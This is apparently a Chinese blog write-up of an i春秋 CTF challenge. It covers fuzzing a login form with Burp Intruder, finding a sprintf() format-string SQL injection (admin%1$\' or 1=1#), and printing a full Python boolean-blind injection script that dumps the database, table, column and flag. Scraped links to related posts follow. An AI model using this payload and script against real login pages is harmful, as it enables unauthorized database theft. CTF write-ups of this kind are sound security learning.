打开题目网页是个很简单的登录网页

先查看源码,抓包

都没找到可用的信息

依我所见这里应该就是一个注入

但是怎么输入都会回显username错误

直到输入admin

尝试admin#

Admin’#   username错误。。。

尝试万能密码。。。。。失败

先用bp去测试过滤的符号发现%会出现不一样的情况(刚学会的方法)

(测试方法

  1. 抓包
  2. 传intruder
  3. Positions中clear其他变量给admin(需要测量的地方)后面加上一个字符
  4. Payloads中add需要测试的字符串或则符号
  5. start attack

    统计不一样的长度回显)

    回到网页中进行测试发现当username中存在%的时候会出现warning报错

    可能注入点就在这里了

    猜测就是sprintf()的漏洞

    关于sprintf()菜鸟教程给出如下解释

    这里附上一篇sprintf()漏洞利用的博客:https://blog.csdn.net/WQ_BCJ/article/details/85057447

    Payload:

    admin%1$\’ or 1=1#

    admin%1$\’ or 1=2#

    发现第一个会爆出密码错误第二个爆出用户名错误

    总结出or后面的内容如果错误则报出密码错误,如果正确就用户名错误

    所以这里就使用盲注

    这里附上一个dalao的脚本

    #coding:utf-8
    
    import requests
    import string def boom():
    url = r'http://083f8085e75f4ea099423ca97e616c729b921691cfe34e7c.changame.ichunqiu.com/index.php'
    s = requests.session()
    dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
    right = 'password error!'
    error = 'username error!' lens = 0
    i = 0
    while True:
    payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
    data={'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    lens=i
    break
    i+=1
    pass
    print("[+]length(database()): %d" %(lens)) strs=''
    for i in range(lens+1):
    for c in dic:
    payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if right in r:
    strs = strs + c
    print strs
    break
    pass
    pass
    print("[+]database():%s" %(strs)) lens=0
    i = 1
    while True:
    payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    lens = i
    break
    i+=1
    pass
    print("[+]length(table): %d" %(lens)) strs=''
    for i in range(lens+1):
    for c in dic:
    payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if right in r:
    strs = strs + c
    print strs
    break
    pass
    pass
    print("[+]table_name:%s" %(strs))
    tablename = '0x' + strs.encode('hex')
    table_name = strs lens=0
    i = 0
    while True:
    payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    lens = i
    break
    i+=1
    pass
    print("[+]length(column): %d" %(lens)) strs=''
    for i in range(lens+1):
    for c in dic:
    payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if right in r:
    strs = strs + c
    print strs
    break
    pass
    pass
    print("[+]column_name:%s" %(strs))
    column_name = strs num=0
    i = 0
    while True:
    payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    num = i
    break
    i+=1
    pass
    print("[+]number(column): %d" %(num)) lens=0
    i = 0
    while True:
    payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    lens = i
    break
    i+=1
    pass
    print("[+]length(value): %d" %(lens)) i=1
    strs=''
    for i in range(lens+1):
    for c in dic:
    payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
    data = {'username':payload,'password':'1'}
    r = s.post(url,data=data).content
    if right in r:
    strs = strs + c
    print strs
    break
    pass
    pass
    print("[+]flag:%s" %(strs)) if __name__ == '__main__':
    boom()
    print 'Finish!'

      

    (源码地址:https://www.ichunqiu.com/writeup/detail/157)

    直接用盲注就爆出了flag

i春秋SQLi的更多相关文章

  1. 春秋-SQLi题

    这道题挺好的 学到的知识 sprintf()构成的sql注入漏洞 题目环境今天做的时候坏了 留下这几篇博客学习 https://blog.csdn.net/nzjdsds/article/detail ...

  2. 第二届i春秋挖洞大赛的一些感想

    挖洞比赛嘛,根据规则就是一个问题,如何在短时间内挖到更多.等级更高的漏洞? 先分析这个问题,需求是什么? 更多? 等级更高? 短时间内? 首先要解决的是时间的问题 时间有限,所以你必须要快.如何快?把 ...

  3. “百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi ---不需要逗号的注入技巧

    今天在i春秋做题的时候遇到了一道非常好的题目,于是在参考了wp的基础上自己复现了一遍,算作一种技巧的学习与收藏吧. 题目i春秋连接:https://www.ichunqiu.com/battalion ...

  4. sqli篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题

    前言 最早接触安全也是从xss攻击和sql注入攻击开始的. 和xss一样屡居OWASPtop10 前三名的漏洞,sqli(sql Injection)sql注入攻击也是web安全中影响较大和影响范围较 ...

  5. i春秋url地址编码问题

    i春秋学院是国内比较知名的安全培训平台,前段时间看了下网站,顺便手工简单测试常见的XSS,发现网站搜索功能比较有意思. 其实是对用户输入的内容HTML编码和URL编码的处理方式在这里不合理,提交到乌云 ...

  6. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  7. i春秋——春秋争霸write up

    i春秋--春秋争霸write up 第一关 题目给出一张图 提示中,这种排列源于古老的奇书,暗含了两个数字,可以得出第一关的答案是两个数字 百度识图来一发, 得到图中排列是来自于洛书,点开洛书的百度百 ...

  8. SQLi filter evasion cheat sheet (MySQL)

    This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 y ...

  9. i春秋与我

    在i春秋论坛混迹了大半年了,在i春秋的在线平台学到了很多奇技淫巧,特别喜欢这个平台的气氛,以及虚拟在线网络环境的搭建, 忙周偷乐,过来也为i春秋做点小奉献,共同构造我们喜欢的春秋平台,成长特别快,特别 ...

  10. I春秋——Misc(贝斯家族)

    不好意思呀!最近一直忙着学习python,竟然忘记更新I春秋里面的题目了(QAQ),我以后会时时刻刻提醒自己要更新 永远爱你们的! ----新宝宝 1:贝斯家族: 解题思路:我相信看见这一题都能够想到 ...

随机推荐

  1. spark 读取hive 计算后写入hive

    package com.grady import org.apache.spark.SparkConf import org.apache.spark.sql.{DataFrame, Row, Spa ...

  2. 往harbor上传镜像

    下载镜像并给镜像打tag [root@hdss7-200 harbor]# docker pull nginx:1.7.9 [root@hdss7-200 harbor]# docker images ...

  3. 国内外各大物联网IoT平台鸟瞰和资源导航

    一.国内外物联网平台 国内 百度物接入IoT Hub 阿里云物联网套件 智能硬件开放平台 京东微联 机智云IoT物联网云服务平台及智能硬件自助开发平台 庆科云FogCloud Ablecloud物联网 ...

  4. 跟羽夏学 Ghidra ——工具

    写在前面   此系列是本人一个字一个字码出来的,包括示例和实验截图.本人非计算机专业,可能对本教程涉及的事物没有了解的足够深入,如有错误,欢迎批评指正. 如有好的建议,欢迎反馈.码字不易,如果本篇文章 ...

  5. [Python]-sklearn模块-机器学习Python入门《Python机器学习手册》-02-加载数据:加载数据集

    <Python机器学习手册--从数据预处理到深度学习> 这本书类似于工具书或者字典,对于python具体代码的调用和使用场景写的很清楚,感觉虽然是工具书,但是对照着做一遍应该可以对机器学习 ...

  6. 萌新码农的第一篇:MarkDown的使用方法

    MarkDown的使用方法 使用的编辑软件Typora 1.标题的使用方法 输入''#''然后空格,输入标题名字即可生成标题. 随着''#''的增多,标题的大小会依次减小,最多到六级标题 2.排字 字 ...

  7. Docker与Containerd使用区别

    文章转载自:https://cloud.tencent.com/developer/article/1984040 Kubernetes 在 1.24 版本里弃用并移除 docker shim,这导致 ...

  8. ProxySQL 定时调度

    转载自:https://www.jianshu.com/p/410ff5897c27 Scheduler是 v1.2.0 引入的特性. ProxySQL的Scheduler是一个类似于定时任务系统(c ...

  9. 在k8s中部署前后端分离项目进行访问的两种配置方式

    第一种方式 (1) nginx配置中只写前端项目的/根路径配置 前端项目使用的Dockerfile文件内容 把前端项目编译后生成的dist文件夹放在nginx的html默认目录下,浏览器访问前端项目时 ...

  10. k8s安装常用软件的yaml文件

    参考网址:https://www.bejson.com (网站文件部分有坑,需要擦亮眼睛) nginx k8s版本:v1.20 apiVersion: apps/v1 kind: Deployment ...